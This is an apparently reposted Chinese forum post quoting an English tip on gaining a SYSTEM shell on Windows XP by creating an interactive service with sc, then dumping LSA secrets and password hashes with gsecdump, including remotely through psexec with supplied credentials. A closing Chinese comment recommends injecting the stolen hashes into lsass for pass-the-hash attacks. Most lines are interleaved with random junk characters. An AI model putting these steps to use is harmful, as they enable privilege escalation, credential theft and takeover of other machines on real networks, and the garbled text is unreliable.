o get a DOS Prompt as NT system:6 N6 b% r3 c+ I. _' g l
9 U' _1 O+ L9 b# |6 n
C:\>sc create shellcmdline binpath= "C:\WINDOWS\system32\cmd.exe /K start" type= own type= interact
5 K/ f0 X3 ^0 ?4 e8 f3 Z[SC] CreateService SUCCESS
" B$ l- |3 i" Q1 c' X. s( k- j
C:\>sc start shellcmdline
, V9 H9 ]+ K2 P4 t9 ?[SC] StartService FAILED 1053:
! G- u, e4 k2 U
% m& Y9 W% N( GThe service did not respond to the start or control request in a timely fashion.
7 R# \2 { x8 W. i: [3 F+ C; e4 t# f7 A E
C:\>sc delete shellcmdline" i3 l2 K- ^" c" {* Z) F8 j8 n' i2 _. [
[SC] DeleteService SUCCESS1 q: E8 d, P. O+ P' p5 s4 ]6 S
& k. F2 g9 `0 K7 Z
------------
; e! z8 ]3 j8 X% Y; P* F
" H/ \% N, C- B) ?% W# w# lThen in the new DOS window:& w6 d5 F' k9 V# l
: g7 Z4 f% y w3 dMicrosoft Windows XP [Version 5.1.2600]
! ^+ N: s6 j- T+ C$ ~(C) Copyright 1985-2001 Microsoft Corp." p6 s) e; J6 ^2 ~' B8 }
9 ]( T& l) U( t% W
C:\WINDOWS\system32>whoami
' z" V, j/ `. l/ U. ?# k1 QNT AUTHORITY\SYSTEM
6 C% I$ S, y+ W ^0 t% O$ F6 E! u
5 j1 V3 ^ o5 {& y+ R3 LC:\WINDOWS\system32>gsecdump -h
& n* m3 s, ]3 ~* Z$ J8 d' Cgsecdump v0.6 by Johannes Gumbel (链接标记johannes.gumbel@truesec.se)) k8 I W+ C" o& Z
usage: gsecdump [options]
1 @! V- {1 v5 A* W) B6 i$ u. s1 h
# B, y1 K0 p2 v3 t, Zoptions:& F& z1 {8 z6 |; g$ z; p
-h [ --help ] show help |% l5 R5 ?7 U& X, n2 a, k% F
-a [ --dump_all ] dump all secrets
: r- r% f+ G) T- T8 H$ a-l [ --dump_lsa ] dump lsa secrets* f: U. o$ ] q) K. ~+ y
-w [ --dump_wireless ] dump microsoft wireless connections" O3 B: z% T5 |; Q+ d$ J$ K; S
-u [ --dump_usedhashes ] dump hashes from active logon sessions
: x4 S% b. H! z) g6 E-s [ --dump_hashes ] dump hashes from SAM/AD
7 f1 I$ Z" j }$ J. {! V- W. f: a' G8 J- Y
Although I like to use:
" y( R C% R" M) L! h) ^3 C7 q1 G
PsExec v1.83 - Execute processes remotely7 K: [! K; a* r& ?; j! x, T
Copyright (C) 2001-2007 Mark Russinovich* C) Q. T8 `# L9 h( Z* S* A5 N
Sysinternals - 链接标记[url]www.sysinternals.com[/url]: h" R2 Y1 B/ S( ]
$ y0 z1 h* O4 P8 R% i, ^( F4 L
C:\>psexec \\COMPUTER -u user -p password -s -f -c gsecdump.exe -u >Active-HASH.TXT) J) B9 c: t l' ~6 f1 c
& A0 ^$ s8 {. v* N! ^% Pto get the hashes from active logon sessions of a remote system.! W) J8 m$ ^. ~8 M7 v( z' @
: _( J# }3 J) l# a8 d' H; p3 ^5 ]These are a lot better than getting a cachedump of the Cached Credentials because these hashes are LMHashes that can be easily broken with Rainbow Tables.
5 N7 D; S0 h2 ?* a+ K7 K9 ?' c1 ^4 a2 X+ B- h- a5 R
提示一下,可以使用pshtools工具包中的iam,把刚才使用gsecdump抓取出来HASH信息导入本地的lsass进程,来实现hash注入式攻击,还是老外厉害,这下管理员有得忙了,ARP欺骗的时候获得的LM/NThash,还有gethash获得的,其实根本不用破解密码,这个就是利用工具了,原文说的好,不管密码是设置4位还是127位,只要有了hash,100%就能搞定了.
) c8 c# p+ C G/ Z5 i% N原文出处:链接标记[url]http://truesecurity.se/blogs/mur ... -text-password.aspx[/url]. ]- t4 n7 y: m" ?' ]& \6 g7 Z4 J
3 r+ v3 S" @ f) X/ r' b
我看了下原文出处，貌似是/2007/03/16/郁闷啊，差距。
: d2 k0 @: ~1 V1 c& I/ i# j) j |
发表于 2012-11-6 21:09:29
收藏
支持
反对